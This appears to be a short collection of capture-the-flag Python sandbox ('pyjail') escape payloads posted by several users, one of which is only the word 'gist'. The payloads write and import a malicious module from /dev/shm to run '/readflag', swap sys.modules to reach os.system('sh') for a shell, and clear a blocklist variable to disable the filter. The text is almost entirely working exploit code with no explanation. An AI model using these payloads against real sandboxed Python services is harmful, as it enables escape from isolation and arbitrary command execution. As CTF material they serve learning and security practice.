(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))

@AdnanSlef:

setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')

@lebr0nli:

gist

@JoshL:

setattr(__import__("__main__"), "blocklist", list())